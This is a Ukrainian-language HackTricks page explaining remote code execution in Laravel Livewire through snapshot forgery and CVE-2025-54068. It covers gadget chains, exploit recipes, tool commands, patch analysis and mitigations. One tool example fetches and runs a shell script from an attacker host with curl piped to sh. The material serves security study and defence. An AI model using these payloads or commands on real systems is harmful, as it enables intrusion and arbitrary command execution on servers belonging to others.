Laravel Livewire Hydration & Synthesizer Abuse
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Підсумок state machine Livewire
Компоненти Livewire 3 обмінюються своїм станом через snapshots, що містять data, memo і checksum. Кожен POST до /livewire/update виконує rehydrate JSON snapshot на сервері та запускає поставлені в чергу calls/updates.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Будь-хто, хто має APP_KEY (який використовується для отримання $hashKey), може підробляти arbitrary snapshots, просто перерахувавши HMAC.
Complex properties кодуються як synthetic tuples, які визначає Livewire\Drawer\BaseUtils::isSyntheticTuple(); кожен tuple має вигляд [value, {"s":"<key>", ...meta}]. Ядро hydration просто передає кожен tuple до synth, вибраного в HandleComponents::$propertySynthesizers, і рекурсивно обробляє children:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Цей рекурсивний дизайн робить Livewire generic object-instantiation engine, щойно attacker контролює або кортежні метадані, або будь-який вкладений кортеж, оброблений під час рекурсії.
Synthesizers, що надають gadget primitives
| Synthesizer | Поведінка, яку контролює attacker |
|---|---|
CollectionSynth (clctn) | Створює new $meta['class']($value) після rehydrating кожного child. Будь-який class з array constructor можна створити, і кожен item сам може бути synthetic tuple. |
FormObjectSynth (form) | Викликає new $meta['class']($component, $path), потім призначає кожну public property з children, контрольованих attacker, через $hydrateChild. Constructors, що приймають два loosely typed parameters (або default args), достатні для доступу до arbitrary public properties. |
ModelSynth (mdl) | Коли key відсутній у meta, виконує return new $class;, дозволяючи zero-argument instantiation будь-якого class під контролем attacker. |
Оскільки synths викликають $hydrateChild для кожного вкладеного елемента, arbitrary gadget graphs можна побудувати, вкладаючи tuples рекурсивно.
Forging snapshots, коли APP_KEY відомий
- Захопіть легітимний
/livewire/updaterequest і decodecomponents[0].snapshot. - Inject вкладені tuples, які вказують на gadget classes, і перерахуй
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode snapshot, залиште
_token/memoбез змін і replay request.
Мінімальний proof of execution використовує Guzzle’s FnStream і Flysystem’s ShardedPrefixPublicUrlGenerator. Один tuple instantiates FnStream з constructor data { "__toString": "phpinfo" }, наступний instantiates ShardedPrefixPublicUrlGenerator з [FnStreamInstance] як $prefixes. Коли Flysystem cast’ить кожен prefix до string, PHP викликає attacker-provided __toString callable, викликаючи будь-яку function без arguments.
Від function calls до повного RCE
Використовуючи Livewire instantiation primitives, Synacktiv адаптували phpggc Laravel/RCE4 chain так, щоб hydration запускав object, public Queueable state якого triggers deserialization:
- Queueable trait – будь-який object, що використовує
Illuminate\Bus\Queueable, exposes public$chainedі виконуєunserialize(array_shift($this->chained))уdispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) instantiates viaCollectionSynth/FormObjectSynthз public$chained, заповненим даними. - phpggc Laravel/RCE4Adapted – serialized blob, stored in
$chained[0], buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args), enablingsystem($cmd). - Stealth termination – передавши другий
FnStreamcallable, наприклад[new Laravel\Prompts\Terminal(), 'exit'], request закінчуєтьсяexit()замість гучного exception, зберігаючи HTTP response чистим.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Інструмент парсить захоплений snapshot, інжектить gadget tuples, перераховує checksum і друкує готовий до відправки /livewire/update payload.
CVE-2025-54068 – RCE without APP_KEY
За даними advisory від vendor, issue впливає на Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) і є унікальним для v3.
updates об’єднуються з component state після того, як snapshot checksum перевірено. Якщо property всередині snapshot є (або стає) synthetic tuple, Livewire повторно використовує її meta під час hydrating значення update, контрольованого attacker:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Рецепт експлуатації:
- Знайдіть Livewire component з не типізованою public property (наприклад,
public $count;). - Надішліть update, який встановлює цю property в
[]. Наступний snapshot тепер зберігає її як[[], {"s": "arr"}].
Мінімальний type-juggling flow виглядає так:
POST /livewire/update
...
"updates": {"count": []}
Потім наступний snapshot зберігає tuple, який лишає metadata synthsizer arr:
"count": [[], {"s": "arr"}]
- Сформуйте інший
updatespayload, де ця property містить глибоко вкладений array, що вбудовує tuples на кшталт[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Під час recursion
hydrate()обробляє кожен вкладений child окремо, тому synth keys/classes, обрані attacker’ом, будуть прийняті, навіть якщо outer tuple і checksum не змінювалися. - Повторно використайте ті самі primitives
CollectionSynth/FormObjectSynth, щоб інстанціювати Queueable gadget, у якого$chained[0]містить phpggc payload. Livewire обробляє підроблені updates, викликаєdispatchNextJobInChain(), і досягаєsystem(<cmd>)без знанняAPP_KEY.
Ключові причини, чому це працює:
updatesне покриваються snapshot checksum.getMetaForPath()довіряє тим synth metadata, які вже існували для цієї property, навіть якщо attacker раніше примусив її стати tuple через weak typing.- recursion разом із weak typing дозволяє кожному вкладеному array інтерпретуватися як абсолютно новий tuple, тож довільні synth keys і довільні classes зрештою доходять до hydration.
Високоцінна pre-auth ціль: Filament login forms
Applications, побудовані поверх Livewire, часто відкривають ще простішу pre-auth surface, ніж навчальна public $count; property. Наприклад, сторінки входу Filament зазвичай hydrate weakly typed $form object, який уже серіалізований як form tuple у snapshot. Це прибирає крок setup “scalar -> array -> arr tuple” повністю:
- Snapshot уже містить щось на кшталт
{"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}. - Attacker може надсилати
updates.formіз вкладеними malicious tuples напряму, тому що recursion зрештою переінтерпретує child elements на кшталт[payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]. - Саме тому pre-auth Livewire entrypoints, які expose
FormObjectSynthobjects, є особливо привабливими: вони вже надають і instantiation, і assignment у public property.
Аналіз patch: зберігати raw metadata під час update recursion
Fix додає окремий шлях hydratePropertyUpdate(), щоб значення вкладених updates більше не викликали generic hydrate($child, ...) на children, контрольованих attacker’ом:
protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}
Вплив патча на безпеку:
- Nested updates повторно перевіряються відносно оригінального raw snapshot path замість довіри до свіжих tuple metadata, наданих attacker.
- Recursive hydration більше не дозволяє children перевизначати
sабоclassпід час виконання. - Це блокує і arbitrary synthesizer switching, і arbitrary class selection всередині nested update arrays.
Livepyre – end-to-end exploitation
Livepyre автоматизує і APP_KEY-less CVE, і signed-snapshot path:
- Fingerprints розгорнуту версію Livewire шляхом парсингу
<script src="/livewire/livewire.js?id=HASH">(або?v=HASH) і зіставлення hash із вразливими релізами. - Збирає baseline snapshots, повторюючи benign actions і витягуючи
components[].snapshot. - Генерує або payload лише з
updates(CVE-2025-54068), або forged snapshot (known APP_KEY) з вбудованим phpggc chain. - Якщо у snapshot не знайдено параметра типу object, Livepyre переходить до brute-forcing candidate params, щоб дістатися coercible property.
Типове використання:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check запускає non-destructive probe, -F пропускає version gating, -H and -P додають custom headers or proxies, а --function/--param налаштовують php function, яку викликає gadget chain.
Defensive considerations
- Оновіть до fixed Livewire builds (>= 3.6.4 згідно з vendor bulletin) і розгорніть vendor patch для CVE-2025-54068.
- Уникайте weakly typed public properties у Livewire components; explicit scalar types запобігають coercion значень property into arrays/tuples.
- Реєструйте лише ті synthesizers, які вам справді потрібні, і розглядайте user-controlled metadata (
$meta['class']) як untrusted. - Відхиляйте updates, що змінюють JSON type property (наприклад, scalar -> array), якщо це явно не дозволено, і повторно derive synth metadata замість повторного використання stale tuples.
- Негайно rotate
APP_KEYпісля будь-якого disclosure, бо він дає змогу offline snapshot forging незалежно від того, наскільки patched code-base є.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
- livewire/livewire commit
ef04be7– Fix property update hydration
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


